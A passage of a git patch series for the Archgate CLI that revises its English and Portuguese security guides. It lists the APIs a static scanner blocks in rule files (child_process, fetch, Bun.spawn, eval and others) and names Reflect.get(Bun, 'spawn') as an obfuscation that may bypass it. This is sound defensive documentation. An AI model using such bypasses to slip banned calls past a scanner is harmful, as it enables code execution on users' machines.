but cannot modify the codebase. - **Escape the 30-second timeout** -- each rule is killed after 30 seconds of wall-clock time. - **Affect other rules** -- rules from different ADRs run in parallel but share no mutable state through the context API. +- **Use dangerous APIs** -- the security scanner blocks imports of system modules (`fs`, `child_process`, `net`, etc.), Bun APIs (`Bun.spawn`, `Bun.file`), network access (`fetch`), and code generation (`eval`, `new Function`). Rule files that contain these patterns are rejected before execution. ## CI/CD best practices @@ -1792,13 +1799,11 @@ jobs: ### Reviewing rules in new repositories -When cloning or forking a repository that uses Archgate, review the `.archgate/adrs/*.rules.ts` files before running `archgate check` for the first time. Look for: - -- Imports of `fs`, `child_process`, `net`, or other system modules -- Calls to `fetch()`, `Bun.spawn()`, or `Bun.file()` outside the `RuleContext` API -- Top-level code that runs on import (before the `check` function is called) +When cloning or forking a repository that uses Archgate, the security scanner automatically blocks dangerous patterns in `.rules.ts` files. However, you should still review rule files before running `archgate check` for the first time: -Well-behaved rules only use the `RuleContext` methods (`ctx.readFile`, `ctx.grep`, `ctx.glob`, etc.) and `ctx.report` for output. +- The scanner catches explicit use of banned APIs, but sophisticated obfuscation (e.g., `Reflect.get(Bun, "spawn")`) may bypass it +- Top-level code that runs on import (before the `check` function is called) is still executed if it passes the scanner +- Well-behaved rules only use the `RuleContext` methods (`ctx.readFile`, `ctx.grep`, `ctx.glob`, etc.) and `ctx.report` for output ### Credentials From e960004ebfdfb267f4f0057f17dac6939cdff555 Mon Sep 17 00:00:00 2001 From: Rhuan Barreto Date: Mon, 23 Mar 2026 02:33:21 +0100 Subject: [PATCH 4/4] fix: add diacritical marks to pt-BR security docs and update GEN-002 MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Fix all missing Portuguese diacritical marks in the pt-BR security documentation (segurança, não, código, você, funções, etc.). Update GEN-002 (Documentation Internationalization) ADR to enforce correct diacritical marks in Portuguese translations as a Do/Don't rule, preventing this from recurring. --- .archgate/adrs/GEN-002-docs-i18n.md | 2 + .../content/docs/pt-br/guides/security.mdx | 86 +++++++++---------- 2 files changed, 45 insertions(+), 43 deletions(-) diff --git a/.archgate/adrs/GEN-002-docs-i18n.md b/.archgate/adrs/GEN-002-docs-i18n.md index cb6d4829..740126cd 100644 --- a/.archgate/adrs/GEN-002-docs-i18n.md +++ b/.archgate/adrs/GEN-002-docs-i18n.md @@ -70,10 +70,12 @@ The sidebar in `docs/astro.config.mjs` does NOT need per-locale duplication. Sta - **DO** preserve MDX curly-brace escaping (`\{\}`) in translations, following [GEN-001](./GEN-001-documentation-site.md) - **DO** preserve Starlight component import statements identically in translated files - **DO** update translations in the same PR that modifies the English source content +- **DO** use correct diacritical marks (accents) in Portuguese translations -- ã, ç, é, í, ó, ú, â, ê, ô, à are mandatory. Never write unaccented Portuguese (e.g., `não` not `nao`, `código` not `codigo`, `você` not `voce`, `segurança` not `seguranca`, `funções` not `funcoes`) - **DO** update the `LOCALES` constant in the companion rules file when adding a new language ### Don't +- **DON'T** write Portuguese text without diacritical marks -- unaccented Portuguese is grammatically incorrect and unprofessional (e.g., `execução` not `execucao`, `configuração` not `configuracao`, `também` not `tambem`) - **DON'T** leave pages untranslated without a tracking issue explaining when the translation will be added - **DON'T** use machine translation without human review for technical accuracy - **DON'T** translate code examples, TypeScript identifiers, CLI command names, or file paths diff --git a/docs/src/content/docs/pt-br/guides/security.mdx b/docs/src/content/docs/pt-br/guides/security.mdx index 3d8d8d55..239e3b70 100644 --- a/docs/src/content/docs/pt-br/guides/security.mdx +++ b/docs/src/content/docs/pt-br/guides/security.mdx @@ -1,56 +1,56 @@ --- -title: Seguranca -description: Entenda o modelo de confianca do Archgate CLI, como as regras sao executadas e as melhores praticas para rodar verificacoes com seguranca em CI/CD e desenvolvimento local. +title: Segurança +description: Entenda o modelo de confiança do Archgate CLI, como as regras são executadas e as melhores práticas para rodar verificações com segurança em CI/CD e desenvolvimento local. --- -O Archgate executa regras TypeScript a partir de arquivos `.rules.ts` no seu repositorio. Esta pagina explica o modelo de confianca, o que as regras podem e nao podem fazer, e como rodar verificacoes com seguranca. +O Archgate executa regras TypeScript a partir de arquivos `.rules.ts` no seu repositório. Esta página explica o modelo de confiança, o que as regras podem e não podem fazer, e como rodar verificações com segurança. -## Modelo de confianca +## Modelo de confiança -**Arquivos `.rules.ts` sao codigo executavel.** Quando voce roda `archgate check`, o CLI importa dinamicamente cada arquivo `.rules.ts` complementar e executa suas funcoes `check`. Isso equivale a rodar `bun .archgate/adrs/*.rules.ts` -- o codigo tem as mesmas capacidades que qualquer outro script na sua maquina. +**Arquivos `.rules.ts` são código executável.** Quando você roda `archgate check`, o CLI importa dinamicamente cada arquivo `.rules.ts` complementar e executa suas funções `check`. Isso equivale a rodar `bun .archgate/adrs/*.rules.ts` -- o código tem as mesmas capacidades que qualquer outro script na sua máquina. Isso significa: -- Rode `archgate check` apenas em repositorios nos quais voce confia. -- Revise arquivos `.rules.ts` com o mesmo rigor que qualquer outro codigo-fonte do projeto. -- Em projetos open-source, trate mudancas em `.rules.ts` em pull requests como sensíveis do ponto de vista de seguranca. +- Rode `archgate check` apenas em repositórios nos quais você confia. +- Revise arquivos `.rules.ts` com o mesmo rigor que qualquer outro código-fonte do projeto. +- Em projetos open-source, trate mudanças em `.rules.ts` em pull requests como sensíveis do ponto de vista de segurança. ### O que as regras podem acessar -As regras recebem um objeto `RuleContext` com operacoes de arquivo isoladas. Todos os metodos do `RuleContext` (`readFile`, `readJSON`, `grep`, `grepFiles`, `glob`) sao restritos ao diretorio raiz do projeto -- travessia de caminho via `../`, caminhos absolutos e links simbolicos sao bloqueados e lancam um erro. +As regras recebem um objeto `RuleContext` com operações de arquivo isoladas. Todos os métodos do `RuleContext` (`readFile`, `readJSON`, `grep`, `grepFiles`, `glob`) são restritos ao diretório raiz do projeto -- travessia de caminho via `../`, caminhos absolutos e links simbólicos são bloqueados e lançam um erro. -Alem do sandbox de runtime, o Archgate executa um **scanner de seguranca por analise estatica** em cada arquivo `.rules.ts` antes de executa-lo. O scanner analisa a AST da regra e bloqueia arquivos que contenham padroes perigosos: +Além do sandbox de runtime, o Archgate executa um **scanner de segurança por análise estática** em cada arquivo `.rules.ts` antes de executá-lo. O scanner analisa a AST da regra e bloqueia arquivos que contenham padrões perigosos: -| Padrao | Bloqueado | +| Padrão | Bloqueado | | ------------------------------------------------------------------------- | --------- | | Imports de `node:fs`, `child_process`, `net`, `http`, `vm`, etc. | Sim | | `Bun.spawn()`, `Bun.write()`, `Bun.file()`, `Bun.$` | Sim | | `fetch()` | Sim | | `eval()`, `new Function()` | Sim | -| Acesso computado a propriedades (`Bun[variavel]`, `globalThis[variavel]`) | Sim | -| `import()` dinamico com argumento nao-literal | Sim | -| Atribuicao a `globalThis` ou `process.env` | Sim | +| Acesso computado a propriedades (`Bun[variável]`, `globalThis[variável]`) | Sim | +| `import()` dinâmico com argumento não-literal | Sim | +| Atribuição a `globalThis` ou `process.env` | Sim | -Se qualquer padrao proibido for encontrado, o arquivo de regra **nao e importado nem executado** e `archgate check` termina com erro. +Se qualquer padrão proibido for encontrado, o arquivo de regra **não é importado nem executado** e `archgate check` termina com erro. -**Modulos seguros permitidos:** `node:path`, `node:url`, `node:util`, `node:crypto` -- sao modulos utilitarios sem capacidades de sistema de arquivos, rede ou processos. +**Módulos seguros permitidos:** `node:path`, `node:url`, `node:util`, `node:crypto` -- são módulos utilitários sem capacidades de sistema de arquivos, rede ou processos. -O scanner eleva a barreira de "trivial de explorar" para "requer ofuscacao deliberada que parece suspeita em code review." Regras bem-comportadas usam apenas os metodos do `RuleContext` (`ctx.readFile`, `ctx.grep`, `ctx.glob`, etc.) e `ctx.report` para saida. +O scanner eleva a barreira de "trivial de explorar" para "requer ofuscação deliberada que parece suspeita em code review." Regras bem-comportadas usam apenas os métodos do `RuleContext` (`ctx.readFile`, `ctx.grep`, `ctx.glob`, etc.) e `ctx.report` para saída. -### O que as regras nao podem fazer +### O que as regras não podem fazer -- **Escrever arquivos** -- a API do `RuleContext` e somente leitura. Regras reportam violacoes mas nao podem modificar o codebase. -- **Escapar do timeout de 30 segundos** -- cada regra e encerrada apos 30 segundos de tempo de execucao. -- **Afetar outras regras** -- regras de ADRs diferentes rodam em paralelo mas nao compartilham estado mutavel atraves da API de contexto. -- **Usar APIs perigosas** -- o scanner de seguranca bloqueia imports de modulos do sistema (`fs`, `child_process`, `net`, etc.), APIs do Bun (`Bun.spawn`, `Bun.file`), acesso a rede (`fetch`) e geracao de codigo (`eval`, `new Function`). Arquivos de regra que contenham esses padroes sao rejeitados antes da execucao. +- **Escrever arquivos** -- a API do `RuleContext` é somente leitura. Regras reportam violações mas não podem modificar o codebase. +- **Escapar do timeout de 30 segundos** -- cada regra é encerrada após 30 segundos de tempo de execução. +- **Afetar outras regras** -- regras de ADRs diferentes rodam em paralelo mas não compartilham estado mutável através da API de contexto. +- **Usar APIs perigosas** -- o scanner de segurança bloqueia imports de módulos do sistema (`fs`, `child_process`, `net`, etc.), APIs do Bun (`Bun.spawn`, `Bun.file`), acesso à rede (`fetch`) e geração de código (`eval`, `new Function`). Arquivos de regra que contenham esses padrões são rejeitados antes da execução. -## Boas praticas para CI/CD +## Boas práticas para CI/CD -Rodar `archgate check` em CI e seguro quando voce controla o conteudo do repositorio. Cuidado extra e necessario para pull requests de contribuidores externos. +Rodar `archgate check` em CI é seguro quando você controla o conteúdo do repositório. Cuidado extra é necessário para pull requests de contribuidores externos. ### Branches confiáveis -Para pushes em `main` ou outras branches protegidas, `archgate check` executa codigo que ja foi revisado e mesclado. Isso e seguro: +Para pushes em `main` ou outras branches protegidas, `archgate check` executa código que já foi revisado e mesclado. Isso é seguro: ```yaml on: @@ -67,9 +67,9 @@ jobs: ### Pull requests de forks -Quando um pull request vem de um fork, os arquivos `.rules.ts` no PR podem conter codigo arbitrario. Esse e o mesmo risco de rodar qualquer script de CI nao confiavel. +Quando um pull request vem de um fork, os arquivos `.rules.ts` no PR podem conter código arbitrário. Esse é o mesmo risco de rodar qualquer script de CI não confiável. -**Opcao 1: Exigir aprovacao antes de rodar.** Use regras de protecao de ambiente do GitHub ou `pull_request_target` com aprovacao manual para condicionar o CI a revisao: +**Opção 1: Exigir aprovação antes de rodar.** Use regras de proteção de ambiente do GitHub ou `pull_request_target` com aprovação manual para condicionar o CI à revisão: ```yaml on: @@ -78,7 +78,7 @@ on: jobs: check: runs-on: ubuntu-latest - environment: pr-check # Requer aprovacao manual + environment: pr-check # Requer aprovação manual steps: - uses: actions/checkout@v4 with: @@ -86,9 +86,9 @@ jobs: - uses: archgate/check-action@v1 ``` -**Opcao 2: Rodar verificacoes apenas em arquivos confiaveis.** Use um workflow separado que faz checkout dos arquivos `.rules.ts` da branch base e os executa contra os arquivos-fonte do PR. Isso garante que apenas regras revisadas sejam executadas. +**Opção 2: Rodar verificações apenas em arquivos confiáveis.** Use um workflow separado que faz checkout dos arquivos `.rules.ts` da branch base e os executa contra os arquivos-fonte do PR. Isso garante que apenas regras revisadas sejam executadas. -**Opcao 3: Pular verificacoes em PRs de forks.** Se suas regras sao principalmente para governanca interna, pule verificacoes automatizadas em PRs de forks e rode-as manualmente apos revisao: +**Opção 3: Pular verificações em PRs de forks.** Se suas regras são principalmente para governança interna, pule verificações automatizadas em PRs de forks e rode-as manualmente após revisão: ```yaml on: @@ -103,9 +103,9 @@ jobs: - uses: archgate/check-action@v1 ``` -### Runners com privilegio minimo +### Runners com privilégio mínimo -Rode `archgate check` em runners com permissoes minimas. O job precisa apenas de acesso de leitura ao repositorio -- nao sao necessarios secrets, chaves de deploy ou permissoes de escrita: +Rode `archgate check` em runners com permissões mínimas. O job precisa apenas de acesso de leitura ao repositório -- não são necessários secrets, chaves de deploy ou permissões de escrita: ```yaml jobs: @@ -120,26 +120,26 @@ jobs: ## Desenvolvimento local -### Revisando regras em novos repositorios +### Revisando regras em novos repositórios -Ao clonar ou fazer fork de um repositorio que usa Archgate, o scanner de seguranca bloqueia automaticamente padroes perigosos em arquivos `.rules.ts`. Porem, voce ainda deve revisar os arquivos de regras antes de rodar `archgate check` pela primeira vez: +Ao clonar ou fazer fork de um repositório que usa Archgate, o scanner de segurança bloqueia automaticamente padrões perigosos em arquivos `.rules.ts`. Porém, você ainda deve revisar os arquivos de regras antes de rodar `archgate check` pela primeira vez: -- O scanner detecta uso explicito de APIs proibidas, mas ofuscacao sofisticada (ex: `Reflect.get(Bun, "spawn")`) pode contorna-lo -- Codigo de nivel superior que executa no import (antes da funcao `check` ser chamada) ainda e executado se passar pelo scanner -- Regras bem-comportadas usam apenas os metodos do `RuleContext` (`ctx.readFile`, `ctx.grep`, `ctx.glob`, etc.) e `ctx.report` para saida +- O scanner detecta uso explícito de APIs proibidas, mas ofuscação sofisticada (ex: `Reflect.get(Bun, "spawn")`) pode contorná-lo +- Código de nível superior que executa no import (antes da função `check` ser chamada) ainda é executado se passar pelo scanner +- Regras bem-comportadas usam apenas os métodos do `RuleContext` (`ctx.readFile`, `ctx.grep`, `ctx.glob`, etc.) e `ctx.report` para saída ### Credenciais -O comando `archgate login` armazena um token de autenticacao em `~/.archgate/credentials` com permissoes de arquivo somente para o proprietario (`0600` em Unix). Este token e usado para instalacao de plugins e nunca e enviado a terceiros alem do servico de plugins do Archgate. +O comando `archgate login` armazena um token de autenticação em `~/.archgate/credentials` com permissões de arquivo somente para o proprietário (`0600` em Unix). Este token é usado para instalação de plugins e nunca é enviado a terceiros além do serviço de plugins do Archgate. -- Nao commite `~/.archgate/credentials` no controle de versao. -- Nao exponha o token em logs de CI. Comandos de instalacao de plugins passam credenciais via URLs autenticadas para o git, que podem aparecer em listagens de processos. Evite rodar `archgate plugin install` com logging verbose em ambientes de CI compartilhados. +- Não commite `~/.archgate/credentials` no controle de versão. +- Não exponha o token em logs de CI. Comandos de instalação de plugins passam credenciais via URLs autenticadas para o git, que podem aparecer em listagens de processos. Evite rodar `archgate plugin install` com logging verbose em ambientes de CI compartilhados. - Para revogar acesso, rode `archgate logout` ou delete `~/.archgate/credentials`. -### Integridade da atualizacao +### Integridade da atualização -Quando voce roda `archgate upgrade`, o CLI baixa o binario de release do GitHub Releases e verifica o checksum SHA256 antes da extracao. Se o checksum nao corresponder, a atualizacao e abortada. Isso protege contra downloads adulterados por interceptacao de rede ou mirrors comprometidos. +Quando você roda `archgate upgrade`, o CLI baixa o binário de release do GitHub Releases e verifica o checksum SHA256 antes da extração. Se o checksum não corresponder, a atualização é abortada. Isso protege contra downloads adulterados por interceptação de rede ou mirrors comprometidos. ## Reportando vulnerabilidades -Se voce descobrir um problema de seguranca no Archgate, por favor reporte de forma responsavel abrindo uma [issue no GitHub](https://github.com/archgate/cli/issues) ou entrando em contato com os mantenedores diretamente. Nao inclua codigo de exploit em issues publicas. +Se você descobrir um problema de segurança no Archgate, por favor reporte de forma responsável abrindo uma [issue no GitHub](https://github.com/archgate/cli/issues) ou entrando em contato com os mantenedores diretamente. Não inclua código de exploit em issues públicas.